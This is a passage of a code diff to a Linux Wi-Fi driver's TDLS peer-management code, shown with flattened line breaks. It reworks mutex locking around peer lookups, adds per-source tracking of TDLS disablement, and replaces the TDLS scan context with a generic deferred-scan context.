curr_peer = wlan_hdd_tdls_get_peer(pAdapter, mac); if (NULL == curr_peer) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, FL("curr_peer is NULL")); - mutex_unlock(&pHddCtx->tdls_lock); return -1; } - mutex_unlock(&pHddCtx->tdls_lock); if (pHddTdlsCtx->discovery_sent_cnt) pHddTdlsCtx->discovery_sent_cnt--; - mutex_lock(&pHddCtx->tdls_lock); wlan_hdd_tdls_check_power_save_prohibited(pAdapter); - mutex_unlock(&pHddCtx->tdls_lock); if (0 == pHddTdlsCtx->discovery_sent_cnt) { vos_timer_stop(&pHddTdlsCtx->peerDiscoveryTimeoutTimer); @@ -1463,6 +1580,8 @@ int wlan_hdd_tdls_recv_discovery_resp(hdd_adapter_t *pAdapter, u8 *mac) pHddTdlsCtx->discovery_sent_cnt, MAC_ADDR_ARRAY(curr_peer->peerMac), curr_peer->link_status); + curr_peer->tdls_support = eTDLS_CAP_SUPPORTED; + if (eTDLS_LINK_DISCOVERING == curr_peer->link_status) { /* Since we are here, it means Throughput threshold is alredy met. Make sure RSSI @@ -1472,11 +1591,36 @@ int wlan_hdd_tdls_recv_discovery_resp(hdd_adapter_t *pAdapter, u8 *mac) wlan_hdd_tdls_set_peer_link_status(curr_peer, eTDLS_LINK_DISCOVERED, eTDLS_LINK_SUCCESS); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "Rssi Threshold met: "MAC_ADDRESS_STR" rssi = %d threshold= %d" , MAC_ADDR_ARRAY(curr_peer->peerMac), curr_peer->rssi, pHddTdlsCtx->threshold_config.rssi_trigger_threshold); - cfg80211_tdls_oper_request(pAdapter->dev, curr_peer->peerMac, NL80211_TDLS_SETUP, FALSE, GFP_KERNEL); + + if (pHddCtx->tdls_mode != eTDLS_SUPPORT_DISABLED) + { + /* TDLS can be disabled from multiple sources like + * scan, p2p-listen, p2p, btc etc ... + * Dont initiate tdls setup if tdls is disabled + */ + cfg80211_tdls_oper_request(pAdapter->dev, curr_peer->peerMac, + NL80211_TDLS_SETUP, FALSE, + GFP_KERNEL); + } + else + { + curr_peer->tdls_support = eTDLS_CAP_UNKNOWN; + wlan_hdd_tdls_set_peer_link_status( + curr_peer, + eTDLS_LINK_IDLE, + eTDLS_LINK_UNSPECIFIED); + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: TDLS is disabled. Resetting link_status of peer " + MAC_ADDRESS_STR " to %d, tdls_support %d", __func__, + MAC_ADDR_ARRAY(curr_peer->peerMac), + curr_peer->link_status, curr_peer->tdls_support); + } } else { @@ -1495,13 +1639,14 @@ int wlan_hdd_tdls_recv_discovery_resp(hdd_adapter_t *pAdapter, u8 *mac) eTDLS_LINK_IDLE, eTDLS_LINK_UNSPECIFIED); } + mutex_unlock(&pHddCtx->tdls_lock); } else { + mutex_unlock(&pHddCtx->tdls_lock); wlan_hdd_tdls_check_bmps(pAdapter); } - curr_peer->tdls_support = eTDLS_CAP_SUPPORTED; EXIT(); return 0; } @@ -1616,16 +1761,24 @@ int wlan_hdd_tdls_set_rssi(hdd_adapter_t *pAdapter, tANI_S8 rxRssi) { hddTdlsPeer_t *curr_peer; + hdd_context_t *hdd_ctx = WLAN_HDD_GET_CTX(pAdapter); - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); + if (0 != (wlan_hdd_validate_context(hdd_ctx))) { + return -1; + } + + mutex_lock(&hdd_ctx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer == NULL) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: curr_peer is NULL", __func__); + { + mutex_unlock(&hdd_ctx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("curr_peer is NULL")); return -1; } curr_peer->rssi = rxRssi; + mutex_unlock(&hdd_ctx->tdls_lock); return 0; } @@ -1660,21 +1813,6 @@ int wlan_hdd_tdls_set_responder(hdd_adapter_t *pAdapter, return 0; } -int wlan_hdd_tdls_get_responder(hdd_adapter_t *pAdapter, u8 *mac) -{ - hddTdlsPeer_t *curr_peer; - - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); - if (curr_peer == NULL) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: curr_peer is NULL", __func__); - return -1; - } - - return (curr_peer->is_responder); -} - int wlan_hdd_tdls_set_signature(hdd_adapter_t *pAdapter, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, @@ -1716,22 +1854,90 @@ void wlan_hdd_tdls_extract_sa(struct sk_buff *skb, u8 *mac) memcpy(mac, skb->data+6, 6); } -int wlan_hdd_tdls_increment_pkt_count(hdd_adapter_t *pAdapter, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) - const u8 *mac, -#else - u8 *mac, -#endif - u8 tx) +/** + * wlan_hdd_tdls_is_forced_peer - function to check if peer is forced peer + * @adapter: pointer to hdd apater + * @mac: peer mac address + * + * Function identified is the peer is forced for tdls connection + * + * return: true: peer is forced false: peer is not forced + */ +static bool wlan_hdd_tdls_is_forced_peer(hdd_adapter_t *adapter, + const u8 *mac) +{ + hddTdlsPeer_t *peer; + hdd_context_t *hddctx = WLAN_HDD_GET_CTX(adapter); + bool is_forced_peer; + + mutex_lock(&hddctx->tdls_lock); + peer = wlan_hdd_tdls_find_peer(adapter, mac, FALSE); + if (!peer) + { + is_forced_peer = false; + goto ret; + } + + if (!peer->isForcedPeer) + { + is_forced_peer = false; + goto ret; + } + is_forced_peer = true; + +ret: + mutex_unlock(&hddctx->tdls_lock); + return is_forced_peer; +} + +/** + * wlan_hdd_tdls_increment_pkt_count - function to increment tdls tx packet cnt + * @pAdapter: pointer to hdd adapter + * @skb: pointer to sk_buff + * + * Function to increment packet count if packet is destined to tdls peer + * + * return: None + */ +static void wlan_hdd_tdls_increment_pkt_count(hdd_adapter_t *pAdapter, + struct sk_buff *skb) { hddTdlsPeer_t *curr_peer; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + hdd_station_ctx_t *hdd_sta_ctx; + u8 mac[6]; if (0 != (wlan_hdd_validate_context(pHddCtx))) - return -EINVAL; + return; if (eTDLS_SUPPORT_ENABLED != pHddCtx->tdls_mode) - return -1; + goto error; + + if (!pHddCtx->cfg_ini->fEnableTDLSImplicitTrigger) + goto error; + + wlan_hdd_tdls_extract_da(skb, mac); + + if (pHddCtx->cfg_ini->fTDLSExternalControl) + { + if (!wlan_hdd_tdls_is_forced_peer(pAdapter, mac)) + goto error; + } + + hdd_sta_ctx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + + if (vos_is_macaddr_group((v_MACADDR_t *)mac)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_MED, + "broadcast packet, not adding to peer list"); + goto error; + } + + if (memcmp(hdd_sta_ctx->conn_info.bssId, mac, 6) == 0) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_MED, + "packet da is bssid, not adding to peer list"); + goto error; + } mutex_lock(&pHddCtx->tdls_lock); curr_peer = wlan_hdd_tdls_get_peer(pAdapter, mac); @@ -1740,16 +1946,20 @@ int wlan_hdd_tdls_increment_pkt_count(hdd_adapter_t *pAdapter, VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, FL("curr_peer is NULL")); mutex_unlock(&pHddCtx->tdls_lock); - return -1; + goto error; } - if (tx) - curr_peer->tx_pkt++; - else - curr_peer->rx_pkt++; + curr_peer->tx_pkt++; mutex_unlock(&pHddCtx->tdls_lock); - return 0; + +error: + return; +} + +void wlan_hdd_tdls_notify_packet(hdd_adapter_t *adapter, struct sk_buff *skb) +{ + wlan_hdd_tdls_increment_pkt_count(adapter, skb); } static int wlan_hdd_tdls_check_config(tdls_config_params_t *config) @@ -1843,14 +2053,17 @@ int wlan_hdd_tdls_set_params(struct net_device *dev, tdls_config_params_t *confi return -EINVAL; } + mutex_lock(&pHddCtx->tdls_lock); if (NULL == pHddTdlsCtx) { + mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_ERROR, FL("TDLS not enabled!")); return -1; } if (wlan_hdd_tdls_check_config(config) != 0) { + mutex_unlock(&pHddCtx->tdls_lock); return -1; } @@ -1858,6 +2071,7 @@ int wlan_hdd_tdls_set_params(struct net_device *dev, tdls_config_params_t *confi req_tdls_mode = config->tdls + 1; if (pHddCtx->tdls_mode == req_tdls_mode) { + mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_ERROR, "%s already in mode %d", __func__, config->tdls); return -1; } @@ -1881,7 +2095,10 @@ int wlan_hdd_tdls_set_params(struct net_device *dev, tdls_config_params_t *confi config->rssi_trigger_threshold, config->rssi_teardown_threshold); - wlan_hdd_tdls_set_mode(pHddCtx, req_tdls_mode, TRUE); + mutex_unlock(&pHddCtx->tdls_lock); + + wlan_hdd_tdls_set_mode(pHddCtx, req_tdls_mode, TRUE, + HDD_SET_TDLS_MODE_SOURCE_USER); return 0; } @@ -1946,11 +2163,7 @@ int wlan_hdd_tdls_set_force_peer(hdd_adapter_t *pAdapter, otherwise, it returns NULL */ hddTdlsPeer_t *wlan_hdd_tdls_find_peer(hdd_adapter_t *pAdapter, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, -#else - u8 *mac, -#endif tANI_BOOLEAN mutexLock) { u8 key; @@ -1984,8 +2197,6 @@ hddTdlsPeer_t *wlan_hdd_tdls_find_peer(hdd_adapter_t *pAdapter, list_for_each(pos, head) { curr_peer = list_entry (pos, hddTdlsPeer_t, node); if (!memcmp(mac, curr_peer->peerMac, 6)) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "findTdlsPeer: found staId %d", curr_peer->staId); if ( mutexLock ) mutex_unlock(&pHddCtx->tdls_lock); return curr_peer; @@ -2011,7 +2222,6 @@ hddTdlsPeer_t *wlan_hdd_tdls_find_all_peer(hdd_context_t *pHddCtx, hddTdlsPeer_t *curr_peer= NULL; VOS_STATUS status = 0; - mutex_lock(&pHddCtx->tdls_lock); status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); while ( NULL != pAdapterNode && VOS_STATUS_SUCCESS == status ) { @@ -2023,14 +2233,12 @@ hddTdlsPeer_t *wlan_hdd_tdls_find_all_peer(hdd_context_t *pHddCtx, curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer) { - mutex_unlock(&pHddCtx->tdls_lock); return curr_peer; } } status = hdd_get_next_adapter ( pHddCtx, pAdapterNode, &pNext ); pAdapterNode = pNext; } - mutex_unlock(&pHddCtx->tdls_lock); return curr_peer; } @@ -2051,13 +2259,11 @@ int wlan_hdd_tdls_reset_peer(hdd_adapter_t *pAdapter, if (0 != (wlan_hdd_validate_context(pHddCtx))) return -EINVAL; - mutex_lock(&pHddCtx->tdls_lock); curr_peer = wlan_hdd_tdls_get_peer(pAdapter, mac); if (curr_peer == NULL) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: curr_peer is NULL", __func__); - mutex_unlock(&pHddCtx->tdls_lock); return -1; } @@ -2077,11 +2283,14 @@ int wlan_hdd_tdls_reset_peer(hdd_adapter_t *pAdapter, pHddCtx->isTdlsScanCoexistence = FALSE; } - if(eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode) { + if((eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode) && + (vos_timer_is_initialized(&curr_peer->peerIdleTimer)) && + (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&curr_peer->peerIdleTimer))) + { vos_timer_stop( &curr_peer->peerIdleTimer ); } - mutex_unlock(&pHddCtx->tdls_lock); return 0; } @@ -2288,7 +2497,7 @@ void wlan_hdd_tdls_connection_callback(hdd_adapter_t *pAdapter) if (0 != wlan_hdd_sta_tdls_init(pAdapter)) { mutex_unlock(&pHddCtx->tdls_lock); - hddLog(VOS_TRACE_LEVEL_ERROR,"%s: wlan_hdd_sta_tdls_init failed",__func__); + hddLog(LOGE, FL("wlan_hdd_sta_tdls_init failed")); return; } @@ -2321,18 +2530,19 @@ void wlan_hdd_tdls_connection_callback(hdd_adapter_t *pAdapter) void wlan_hdd_tdls_disconnection_callback(hdd_adapter_t *pAdapter) { - tdlsCtx_t *pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); - hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); - - if (NULL == pHddCtx) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL(" pHddCtx points to NULL")); - return; - } + tdlsCtx_t *pHddTdlsCtx; + hdd_context_t *pHddCtx; VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO,"%s", __func__); + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + + if (0 != wlan_hdd_validate_context(pHddCtx)) + return; + + mutex_lock(&pHddCtx->tdls_lock); + + pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if (NULL == pHddTdlsCtx) { mutex_unlock(&pHddCtx->tdls_lock); @@ -2341,8 +2551,6 @@ void wlan_hdd_tdls_disconnection_callback(hdd_adapter_t *pAdapter) return; } - mutex_lock(&pHddCtx->tdls_lock); - pHddTdlsCtx->discovery_sent_cnt = 0; wlan_hdd_tdls_check_power_save_prohibited(pHddTdlsCtx->pAdapter); @@ -2429,16 +2637,17 @@ void wlan_hdd_tdls_check_bmps(hdd_adapter_t *pAdapter) return; } - curr_peer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, FALSE); if (NULL != curr_peer) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: tdls in progress. Dont check for BMPS " MAC_ADDRESS_STR, __func__, MAC_ADDR_ARRAY (curr_peer->peerMac)); + mutex_unlock(&pHddCtx->tdls_lock); return; } - mutex_lock(&pHddCtx->tdls_lock); pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if (NULL == pHddTdlsCtx) { @@ -2447,7 +2656,7 @@ void wlan_hdd_tdls_check_bmps(hdd_adapter_t *pAdapter) FL("pHddTdlsCtx points to NULL")); return; } - if ((TDLS_CTX_MAGIC != pHddCtx->tdls_scan_ctxt.magic) && + if ((TDLS_CTX_MAGIC != pHddCtx->scan_ctxt.magic) && (0 == pHddCtx->connected_peer_count) && (0 == pHddTdlsCtx->discovery_sent_cnt)) { @@ -2473,21 +2682,6 @@ void wlan_hdd_tdls_check_bmps(hdd_adapter_t *pAdapter) return; } -u8 wlan_hdd_tdls_is_peer_progress(hdd_adapter_t *pAdapter, u8 *mac) -{ - hddTdlsPeer_t *curr_peer; - - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); - if (curr_peer == NULL) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: curr_peer is NULL", __func__); - return 0; - } - - return (eTDLS_LINK_CONNECTING == curr_peer->link_status); -} - /* return pointer to hddTdlsPeer_t if TDLS is ongoing. Otherwise return NULL. * mac - if NULL check for all the peer list, otherwise, skip this mac when skip_self is TRUE * skip_self - if TRUE, skip this mac. otherwise, check all the peer list. if @@ -2598,7 +2792,8 @@ static void wlan_hdd_tdls_implicit_enable(tdlsCtx_t *pHddTdlsCtx) void wlan_hdd_tdls_set_mode(hdd_context_t *pHddCtx, eTDLSSupportMode tdls_mode, - v_BOOL_t bUpdateLast) + v_BOOL_t bUpdateLast, + enum tdls_disable_source source) { hdd_adapter_list_node_t *pAdapterNode = NULL, *pNext = NULL; VOS_STATUS status; @@ -2620,6 +2815,23 @@ void wlan_hdd_tdls_set_mode(hdd_context_t *pHddCtx, mutex_unlock(&pHddCtx->tdls_lock); hddLog(VOS_TRACE_LEVEL_INFO, "%s already in mode %d", __func__, (int)tdls_mode); + + if (tdls_mode == eTDLS_SUPPORT_DISABLED) + { + /* + * TDLS is already disabled hence set source mask and return + */ + set_bit((unsigned long)source, &pHddCtx->tdls_source_bitmap); + return; + } + if (tdls_mode == eTDLS_SUPPORT_ENABLED) + { + /* + * TDLS is already disabled hence set source mask and return + */ + clear_bit((unsigned long)source, &pHddCtx->tdls_source_bitmap); + return; + } return; } @@ -2632,10 +2844,40 @@ void wlan_hdd_tdls_set_mode(hdd_context_t *pHddCtx, if (NULL != pHddTdlsCtx) { if(eTDLS_SUPPORT_ENABLED == tdls_mode) + { + clear_bit((unsigned long)source, &pHddCtx->tdls_source_bitmap); + + /* + * Check if any TDLS source bit is set and if bitmap is + * not zero then we should not enable TDLS + */ + if (pHddCtx->tdls_source_bitmap) + { + mutex_unlock(&pHddCtx->tdls_lock); + return; + } wlan_hdd_tdls_implicit_enable(pHddTdlsCtx); - else if((eTDLS_SUPPORT_DISABLED == tdls_mode) || - (eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == tdls_mode)) + } + else if((eTDLS_SUPPORT_DISABLED == tdls_mode)) + { + set_bit((unsigned long)source, &pHddCtx->tdls_source_bitmap); + wlan_hdd_tdls_implicit_disable(pHddTdlsCtx); + } + else if ((eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == tdls_mode)) + { + clear_bit((unsigned long)source, &pHddCtx->tdls_source_bitmap); + + /* + * Check if any TDLS source bit is set and if bitmap is + * not zero then we should not enable TDLS + */ + if (pHddCtx->tdls_source_bitmap) + { + mutex_unlock(&pHddCtx->tdls_lock); + return; + } wlan_hdd_tdls_implicit_disable(pHddTdlsCtx); + } } status = hdd_get_next_adapter ( pHddCtx, pAdapterNode, &pNext ); pAdapterNode = pNext; @@ -2684,13 +2926,6 @@ void wlan_hdd_tdls_implicit_send_discovery_request(tdlsCtx_t * pHddTdlsCtx) return; } - if (TRUE == sme_IsPmcBmps(WLAN_HDD_GET_HAL_CTX(pHddTdlsCtx->pAdapter))) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Disable BMPS", __func__); - hdd_disable_bmps_imps(pHddCtx, WLAN_HDD_INFRA_STATION); - } - /* This function is called in mutex_lock */ temp_peer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, FALSE); if (NULL != temp_peer) @@ -2791,71 +3026,6 @@ void wlan_hdd_tdls_check_power_save_prohibited(hdd_adapter_t *pAdapter) return; } -void wlan_hdd_tdls_free_scan_request (tdls_scan_context_t *tdls_scan_ctx) -{ - if (NULL == tdls_scan_ctx) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("tdls_scan_ctx is NULL")); - return; - } - - tdls_scan_ctx->attempt = 0; - tdls_scan_ctx->reject = 0; - tdls_scan_ctx->magic = 0; - tdls_scan_ctx->scan_request = NULL; - return; -} - -int wlan_hdd_tdls_copy_scan_context(hdd_context_t *pHddCtx, - struct wiphy *wiphy, -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - struct net_device *dev, -#endif - struct cfg80211_scan_request *request) -{ - tdls_scan_context_t *scan_ctx; - - ENTER(); - if(0 != (wlan_hdd_validate_context(pHddCtx))) - { - return 0; - } - - scan_ctx = &pHddCtx->tdls_scan_ctxt; - - scan_ctx->wiphy = wiphy; -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - scan_ctx->dev = dev; -#endif - - scan_ctx->scan_request = request; - - EXIT(); - return 0; -} - -static void wlan_hdd_tdls_scan_init_work(hdd_context_t *pHddCtx, - struct wiphy *wiphy, -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - struct net_device *dev, -#endif - struct cfg80211_scan_request *request, - unsigned long delay) -{ - if (TDLS_CTX_MAGIC != pHddCtx->tdls_scan_ctxt.magic) - { -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - wlan_hdd_tdls_copy_scan_context(pHddCtx, wiphy, dev, request); -#else - wlan_hdd_tdls_copy_scan_context(pHddCtx, wiphy, request); -#endif - pHddCtx->tdls_scan_ctxt.attempt = 0; - pHddCtx->tdls_scan_ctxt.magic = TDLS_CTX_MAGIC; - } - schedule_delayed_work(&pHddCtx->tdls_scan_ctxt.tdls_scan_work, delay); -} - /* return negative = caller should stop and return error code immediately return 0 = caller should stop and return success immediately return 1 = caller can continue to scan @@ -2880,42 +3050,47 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, } /* if tdls is not enabled, then continue scan */ - if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode) || - (pHddCtx->is_tdls_btc_enabled == FALSE)) + if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode)) return 1; - curr_peer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, TRUE); + + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, FALSE); if (NULL != curr_peer) { - if (pHddCtx->tdls_scan_ctxt.reject++ >= TDLS_MAX_SCAN_REJECT) + if (pHddCtx->scan_ctxt.reject++ >= TDLS_MAX_SCAN_REJECT) { - pHddCtx->tdls_scan_ctxt.reject = 0; + pHddCtx->scan_ctxt.reject = 0; VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: " MAC_ADDRESS_STR ". scan rejected %d. force it to idle", - __func__, MAC_ADDR_ARRAY (curr_peer->peerMac), pHddCtx->tdls_scan_ctxt.reject); + __func__, MAC_ADDR_ARRAY (curr_peer->peerMac), pHddCtx->scan_ctxt.reject); wlan_hdd_tdls_set_peer_link_status (curr_peer, eTDLS_LINK_IDLE, eTDLS_LINK_UNSPECIFIED); + mutex_unlock(&pHddCtx->tdls_lock); return 1; } + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: tdls in progress. scan rejected %d", - __func__, pHddCtx->tdls_scan_ctxt.reject); + __func__, pHddCtx->scan_ctxt.reject); return -EBUSY; } + else + mutex_unlock(&pHddCtx->tdls_lock); /* tdls teardown is ongoing */ if (eTDLS_SUPPORT_DISABLED == pHddCtx->tdls_mode) { connectedTdlsPeers = wlan_hdd_tdlsConnectedPeers(pAdapter); - if (connectedTdlsPeers && (pHddCtx->tdls_scan_ctxt.attempt < TDLS_MAX_SCAN_SCHEDULE)) + if (connectedTdlsPeers && (pHddCtx->scan_ctxt.attempt < TDLS_MAX_SCAN_SCHEDULE)) { delay = (unsigned long)(TDLS_DELAY_SCAN_PER_CONNECTION*connectedTdlsPeers); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: tdls disabled, but still connected_peers %d attempt %d. schedule scan %lu msec", - __func__, connectedTdlsPeers, pHddCtx->tdls_scan_ctxt.attempt, delay); + __func__, connectedTdlsPeers, pHddCtx->scan_ctxt.attempt, delay); - wlan_hdd_tdls_scan_init_work (pHddCtx, wiphy, + wlan_hdd_defer_scan_init_work (pHddCtx, wiphy, #if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) dev, #endif @@ -2927,7 +3102,7 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, /* no connected peer or max retry reached, scan continue */ VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: tdls disabled. connected_peers %d attempt %d. scan allowed", - __func__, connectedTdlsPeers, pHddCtx->tdls_scan_ctxt.attempt); + __func__, connectedTdlsPeers, pHddCtx->scan_ctxt.attempt); return 1; } @@ -2956,9 +3131,11 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, (TRUE == sme_IsFeatureSupportedByFW(TDLS_SCAN_COEXISTENCE)) && (connectedTdlsPeers == 1) ) { + mutex_lock(&pHddCtx->tdls_lock); /* get connected peer information */ connected_peer = wlan_hdd_tdls_get_connected_peer(pAdapter); if (NULL == connected_peer) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, "%s: Invalid connected_peer, Continue Scanning", __func__); /* scan should continue */ @@ -2970,20 +3147,23 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, if (connected_peer->isBufSta) { - pHddCtx->isTdlsScanCoexistence = TRUE; - if ((cfg_param->dynSplitscan) && (!pHddCtx->issplitscan_enabled)) - { - pHddCtx->issplitscan_enabled = TRUE; - sme_enable_disable_split_scan( - WLAN_HDD_GET_HAL_CTX(pAdapter), - cfg_param->nNumStaChanCombinedConc, - cfg_param->nNumP2PChanCombinedConc); - } - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - ("%s:%d TDLS Scan Co-exist supported splitscan_enabled =%d "), - __func__, __LINE__, pHddCtx->issplitscan_enabled); - return 1; + mutex_unlock(&pHddCtx->tdls_lock); + pHddCtx->isTdlsScanCoexistence = TRUE; + if ((cfg_param->dynSplitscan) && (!pHddCtx->issplitscan_enabled)) + { + pHddCtx->issplitscan_enabled = TRUE; + sme_enable_disable_split_scan( + WLAN_HDD_GET_HAL_CTX(pAdapter), + cfg_param->nNumStaChanCombinedConc, + cfg_param->nNumP2PChanCombinedConc); + } + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + ("%s:%d TDLS Scan Co-exist supported splitscan_enabled =%d "), + __func__, __LINE__, pHddCtx->issplitscan_enabled); + return 1; } + else + mutex_unlock(&pHddCtx->tdls_lock); } else @@ -3004,7 +3184,8 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, sme_IsFeatureSupportedByFW(TDLS_SCAN_COEXISTENCE)); /* disable implicit trigger logic & tdls operatoin */ - wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE); + wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE, + HDD_SET_TDLS_MODE_SOURCE_SCAN); /* fall back to the implementation of teardown the peers on the scan * when the number of connected peers are more than one. TDLS Scan * coexistance feature is exercised only when a single peer is @@ -3017,20 +3198,30 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, tANI_U8 staIdx; hddTdlsPeer_t *curr_peer; + mutex_lock(&pHddCtx->tdls_lock); for (staIdx = 0; staIdx < HDD_MAX_NUM_TDLS_STA; staIdx++) { if (pHddCtx->tdlsConnInfo[staIdx].staId) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - ("%s: indicate TDLS teardown (staId %d)"), __func__, pHddCtx->tdlsConnInfo[staIdx].staId) ; + ("%s: indicate TDLS teardown (staId %d)"), + __func__, pHddCtx->tdlsConnInfo[staIdx].staId) ; #ifdef CONFIG_TDLS_IMPLICIT - curr_peer = wlan_hdd_tdls_find_all_peer(pHddCtx, pHddCtx->tdlsConnInfo[staIdx].peerMac.bytes); - if(curr_peer) - wlan_hdd_tdls_indicate_teardown(curr_peer->pHddTdlsCtx->pAdapter, curr_peer, eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + curr_peer = wlan_hdd_tdls_find_all_peer(pHddCtx, + pHddCtx->tdlsConnInfo[staIdx].peerMac.bytes); + if(curr_peer) { + wlan_hdd_tdls_indicate_teardown( + curr_peer->pHddTdlsCtx->pAdapter, curr_peer, + eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event( + eTDLS_TEARDOWN_SCAN, + curr_peer->peerMac); + } #endif } } + mutex_unlock(&pHddCtx->tdls_lock); /* schedule scan */ delay = (unsigned long)(TDLS_DELAY_SCAN_PER_CONNECTION*connectedTdlsPeers); @@ -3039,7 +3230,7 @@ int wlan_hdd_tdls_scan_callback (hdd_adapter_t *pAdapter, __func__, pHddCtx->tdls_mode, wlan_hdd_tdlsConnectedPeers(pAdapter), delay); - wlan_hdd_tdls_scan_init_work (pHddCtx, wiphy, + wlan_hdd_defer_scan_init_work (pHddCtx, wiphy, #if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) dev, #endif @@ -3067,16 +3258,15 @@ void wlan_hdd_tdls_scan_done_callback(hdd_adapter_t *pAdapter) return; } - /* if tdls is not enabled or BtCoex is on then don't revert tdls mode */ - if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode) || - (pHddCtx->is_tdls_btc_enabled == FALSE)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("Failed to revert: Mode=%d, BTC enabled=%d"), - pHddCtx->tdls_mode, pHddCtx->is_tdls_btc_enabled); + /* if tdls is not enabled then don't revert tdls mode */ + if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode)) { + hddLog(VOS_TRACE_LEVEL_INFO, FL("Failed to revert: Mode=%d"), + pHddCtx->tdls_mode); return; } /* free allocated memory at scan time */ - wlan_hdd_tdls_free_scan_request (&pHddCtx->tdls_scan_ctxt); + wlan_hdd_init_deinit_defer_scan_context(&pHddCtx->scan_ctxt); /* if tdls was enabled before scan, re-enable tdls mode */ 